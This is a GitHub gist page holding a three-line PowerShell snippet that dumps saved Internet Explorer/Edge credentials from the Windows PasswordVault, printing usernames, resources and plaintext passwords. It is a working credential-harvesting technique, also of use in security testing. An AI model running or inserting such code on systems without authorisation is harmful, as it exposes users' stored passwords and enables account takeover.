Skip to content

Instantly share code, notes, and snippets.

@K-Mistele
Created June 23, 2021 21:10
Show Gist options
  • Save K-Mistele/9d8dbd6e5a184baed63e4a7ff8e5b9dc to your computer and use it in GitHub Desktop.
Save K-Mistele/9d8dbd6e5a184baed63e4a7ff8e5b9dc to your computer and use it in GitHub Desktop.
Pulling IE/Edge creds with PowerShell
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select username,resource,password
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment